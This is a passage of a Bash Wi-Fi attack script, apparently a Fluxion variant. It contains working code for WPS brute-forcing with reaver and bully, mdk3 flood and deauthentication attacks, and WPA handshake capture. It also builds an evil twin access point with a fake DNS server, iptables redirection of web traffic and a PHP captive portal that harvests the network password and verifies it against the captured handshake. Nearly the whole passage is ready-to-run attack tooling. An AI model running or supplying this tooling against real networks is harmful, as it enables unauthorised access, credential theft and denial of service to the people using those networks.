or Bully)Output.txt Once found*" -read m -case $m in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC4 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL4 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC4 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL4 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 5) -clear -echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; -clear -echo -read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; -clear -echo -read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - -enable_mon_mode_4 - -enable_mon_mode_5 - -clear - -echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** -1)Yes -2)No" - -read o -case $o in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -mac_change_4 - -mac_change_5 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read p -case $p in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC5 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL5 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC5 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL5 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - -esac - -} -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake location (Example: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green}MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "File ${red}NOT$transparent present" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$blue"2)"$transparent" pyrit" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$blue"1)"$transparent" Deauth all" - echo -e " "$blue"2)"$transparent" Deauth all [mdk3]" - echo -e " "$blue"3)"$transparent" Deauth target " - echo -e " "$blue"4)"$transparent" Rescan networks " - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$blue"1)"$transparent" Yes" - echo -e " "$blue"2)"$transparent" Strike again " - echo -e " "$blue"3)"$transparent" No (Select another attack)" - echo -e " "$blue"4)"$transparent" Select another network" - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$blue""1)"$transparent" Web Interface" - echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$blue""1)"$transparent" English [ENG]" - echo -e "$blue""2)"$transparent" Spanish [ESP]" - echo -e "$blue""3)"$transparent" Italy [IT]" - echo -e "$blue""4)"$transparent" French [FR]" - echo -e "$blue""5)"$transparent" Portuguese [POR]" - echo -e "$blue""6)"$transparent" German [GER]" - echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -#create an empty leases file -touch $DUMP_PATH/dhcpd.leases - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" >$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Attack in progress .." - echo " " - echo " 1) Choose another network" - echo " 2) Exit" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Checks the validity of the password -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - timestamp=\$(date +%s) - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) - - echo - echo -e \" ACCESS POINT:\" - echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" - echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" - echo - echo -e \" CLIENTS ONLINE:\" - - x=0 - for cliente in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then - CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" - fi - - CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$CLIENTE_MAC| grep -q x; then - CLIENTE_FABRICANTE=\"unknown\" - fi - - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) - - echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$(date +%s)-\$timestamp - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') 